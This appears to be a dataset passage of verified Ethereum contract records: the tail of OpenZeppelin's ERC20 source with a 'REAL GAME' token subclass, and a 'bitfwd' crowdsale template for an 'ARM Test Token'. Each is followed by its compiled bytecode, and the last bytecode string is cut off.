derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract REALGAME is ERC20{ constructor () public ERC20("REAL GAME", "RGAME") { _mint( msg.sender, 30000000 * (10 ** uint256(decimals())) ); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ad565b84846109b5565b6001905092915050565b6000600254905090565b60006105bb848484610bac565b61067c846105c76109ad565b6106778560405180606001604052806028815260200161102660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107476106ab6109ad565b8461074285600160006106bc6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2d90919063ffffffff16565b6109b5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b60006108fe6108486109ad565b846108f98560405180606001604052806025815260200161109760259139600160006108726109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6109b5565b6001905092915050565b600061091c6109156109ad565b8484610bac565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110736024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fde6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061104e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fbb6023913960400191505060405180910390fd5b610cc3838383610fb5565b610d2e81604051806060016040528060268152602001611000602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6d9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610edf578082015181840152602081019050610ec4565b50505050905090810190601f168015610f0c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ded8d4305bbe960bbe677dce5c739ec77c1efded933984298de4321c7316e30a64736f6c63430006060033
[ 38 ]
0xf36d9bb4e6b60ff069e5e18caeb1071f10d4cb66
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'bitfwd' CROWDSALE token contract // // Deployed to : 0xf36d9bb4e6b60ff069e5e18caeb1071f10d4cb66 // Symbol : ARMT // Name : ARM Test Token // Total supply: Gazillion // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto & Daniel Bar with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ARMtest is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ARMtest() public { symbol = "ARMT"; name = "ARM Test Token"; decimals = 18; bonusEnds = now + 4 weeks; endDate = now + 8 weeks; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // 1,000 ARMT Tokens per 1 ETH // ------------------------------------------------------------------------ function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 1200; } else { tokens = msg.value * 1000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146102b6578063095ea7b3146103465780630b97bc86146103ab57806318160ddd146103d657806323b872dd14610401578063313ce567146104865780633eaaf86b146104b757806340c65003146104e257806370a082311461050d57806379ba5097146105645780638da5cb5b1461057b57806395d89b41146105d2578063a9059cbb14610662578063c24a0f8b146106c7578063cae9ca51146106f2578063d4ee1d901461079d578063dc39d06d146107f4578063dd62ed3e14610859578063f2fde38b146108d0575b6000600654421015801561011d57506008544211155b151561012857600080fd5b6007544211151561013f576104b034029050610147565b6103e8340290505b610190600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610913565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506101df60055482610913565b6005819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156102b2573d6000803e3d6000fd5b5050005b3480156102c257600080fd5b506102cb61092f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030b5780820151818401526020810190506102f0565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035257600080fd5b50610391600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cd565b604051808215151515815260200191505060405180910390f35b3480156103b757600080fd5b506103c0610abf565b6040518082815260200191505060405180910390f35b3480156103e257600080fd5b506103eb610ac5565b6040518082815260200191505060405180910390f35b34801561040d57600080fd5b5061046c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b10565b604051808215151515815260200191505060405180910390f35b34801561049257600080fd5b5061049b610da0565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104c357600080fd5b506104cc610db3565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b506104f7610db9565b6040518082815260200191505060405180910390f35b34801561051957600080fd5b5061054e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b6040518082815260200191505060405180910390f35b34801561057057600080fd5b50610579610e08565b005b34801561058757600080fd5b50610590610fa7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b506105e7610fcc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062757808201518184015260208101905061060c565b50505050905090810190601f1680156106545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066e57600080fd5b506106ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106a565b604051808215151515815260200191505060405180910390f35b3480156106d357600080fd5b506106dc6111f3565b6040518082815260200191505060405180910390f35b3480156106fe57600080fd5b50610783600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506111f9565b604051808215151515815260200191505060405180910390f35b3480156107a957600080fd5b506107b2611448565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080057600080fd5b5061083f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061146e565b604051808215151515815260200191505060405180910390f35b34801561086557600080fd5b506108ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d2565b6040518082815260200191505060405180910390f35b3480156108dc57600080fd5b50610911600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b005b6000818301905082811015151561092957600080fd5b92915050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109c55780601f1061099a576101008083540402835291602001916109c5565b820191906000526020600020905b8154815290600101906020018083116109a857829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610b5b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c24600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ced600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610913565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b60075481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110625780601f1061103757610100808354040283529160200191611062565b820191906000526020600020905b81548152906001019060200180831161104557829003601f168201915b505050505081565b60006110b5600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836116f8565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611141600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610913565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b600082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113d65780820151818401526020810190506113bb565b50505050905090810190601f1680156114035780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561142557600080fd5b505af1158015611439573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cb57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b505050506040513d60208110156115b957600080fd5b8101908080519060200190929190505050905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffff